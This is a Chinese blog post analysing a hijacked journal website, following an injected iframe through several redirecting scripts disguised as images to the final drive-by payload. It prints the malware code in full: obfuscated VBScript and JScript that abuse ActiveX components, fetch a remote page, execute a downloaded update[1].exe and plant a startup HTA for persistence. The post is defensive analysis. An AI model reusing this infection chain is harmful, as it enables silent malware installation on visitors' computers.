google上搜索到“现代计算机 期刊”，搜索到的第一个是http_://www.mcpop.cn/ (为了防止网友不小心点击了链接，在http后添加了个_，下面相同)，一打开IE防漏墙就报告网页企图执行a.exe，明显有问题。
于是简单分析了下页面。先用flashget下载主页面回来本地，ultraedit打开，没有找到常见的使用“<iframe”挂的木马，可能隐藏到其他的src页面中了，由于页面比较多，难以分析。干脆找到ie缓存目录，找到mcpop.cn的相关页面，发现有几个页面，都拷贝到e:/virus中，用ultraedit逐个打开，结果发现问题是在“KY_Function.Js”（主页面会调用这个js)，最后一行是
document.write('<iframe height=0 width=0 src="http_://a-l.meibu.com/"></iframe>');
有猫腻。同样用flashget下载http_://a-l.meibu.com，得到一行代码
<SCRIPT language="JScript.Encode" src=sc.jpg></script>
明显sc,jpg只是后缀名为jpg，实则js，再下载http_://a-l.meibu.com/sc.jpg，打开后得到
=======================================
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "npconfig="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "npconfig=ocstird;expires="+ Then.toGMTString()
document.write("<script language=/"javascript/" src=/"nc.jpg/"><//script>");
}
}Get();
======================================================
晕，又是一个转向，再下http_://a-l.meibu.com/nc.jpg，得到
=====================================================
document.writeln("<script language=VBScript>");
document.writeln("on error resume next");
document.writeln("Set downf = document.createElement(/"object/")");
document.writeln("downf.setAttribute /"classid/", /"clsid:BD9/"&/"6C556-6/"&/"5A3-11D/"&/"0-983A-00C/"&/"04FC2/"&/"9E36/"");
document.writeln("str=/"Microsoft.XMLHTTP/"");
document.writeln("Set O = downf.CreateObject(str,/"/")");
document.writeln("if Not Err.Number = 0 then");
document.writeln("err.clear");
document.writeln("document.write(/"<iframe width=/"/"1/"/" height=/"/"1/"/" src=/"/"logo.htm/"/"><//iframe>/")");
document.writeln("else");
document.writeln("document.write(/"<iframe width=/"/"1/"/" height=/"/"1/"/" src=/"/"file.htm/"/"><//iframe>/")");
document.writeln("end if");
document.writeln("<//script>")
===========================================================
再晕，还要再跳转查找，下logo.htm，得到代码
==========================================
<Script language="Javascript" src="b.js"></Script>
<IFRAME frameBorder=no height=1
src="2.htm"
width=1></IFRAME>
=============================================
看来还不是最终木马隐藏地，再找。（你头晕了没有？：-)）。下b.js，得到
===========================================================
var Good_server = null;
function shit()
{
try{Good_server = new ActiveXObject("/x54/x68/x75/x6E/x64/x65/x72/x53/x65/x72/x76/x65/x72/x2E/x77/x65/x62/x54/x68/x75/x6E/x64/x65/x72/x2E/x31");}
catch(e){return;}
var cmd;
cmd="<script defer> var shell=/"<html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject(///"wscript.shell///");shell.Run(///"C:Progra~1Intern~1IEXPLORE.EXE http://cs.cskick.cn/cs/exec.htm///",0,0);function runmm(){var path=shell.SpecialFolders(///"MyDocuments///");var savepath=path.substring(0,path.lastIndexOf(///"///"));savepath+=///"Local SettingsTemporary Internet FilesContent.IE5///";var sp=new ActiveXObject(///"shell.application///");var Folders=sp.NameSpace(savepath);for(i=0;i<Folders.Items().Count;i++){var Folder=Folders.Items().Item(i).Path;Folder+=///"update[1].exe///";try{shell.Exec(Folder);}catch(e){};}window.close();};shell.Run(///"cmd.exe /c tree c: /f///",0,1);runmm();<///script></body></html>/";var SUNNY = new ActiveXObject(/"ADODB.Recordset/");SUNNY.Fields.Append(/"SUNNY/", 200, 3000);SUNNY.Open();SUNNY.AddNew();SUNNY.Fields(/"SUNNY/").Value=shell;SUNNY.Update();SUNNY.Save(/"C:Documents and SettingsAll Users「开始」菜单程序启动Windows.hta/",0);SUNNY.Close();</script>";
var ret=Good_server.AddCateogry(cmd);
Good_server.SetBrowserWindowSize(0,0,400,300);
var strPath = Good_server.GetServerPath();
strPath = strPath.substr(0, strPath.length-1);
strPath+="//page//index.htm";
Good_server.SetBrowserWindowData(strPath,"/x53/x55/x4E/x4E/x59");
Good_server.HideBrowserWindow(1);
return;
}
=================================================================
总算到头了，这放木马的人还真有耐心啊，我都转头晕了，再下去我就没耐性跟了。
看这一句.
=======================================
Good_server = new ActiveXObject("/x54/x68/x75/x6E/x64/x65/x72/x53/x65/x72/x76/x65/x72/x2E/x77/x65/x62/x54/x68/x75/x6E/x64/x65/x72/x2E/x31");}
===============================================
是一段创建ActiveXObject的代码，把“”里面的信息从十六进制转换回来就知道是什么字符了，或者简单点，直接利用浏览器帮我们，在IE浏览器地址栏输入
javascript:alert("/x54/x68/x75/x6E/x64/x65/x72/x53/x65/x72/x76/x65/x72/x2E/x77/x65/x62/x54/x68/x75/x6E/x64/x65/x72/x2E/x31")
回车后得到提示信息是“ThunderServer.webThunder.1”，原来是利用迅雷组件下载木马。（但很奇怪，我是不用迅雷的，怎么也会下载到，难道我的电脑不小心被撞了迅雷组件？又或者还有别胡下载木马和执行木马的途径？）但是我已经没什么兴趣再寻找胃。就此打住。
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
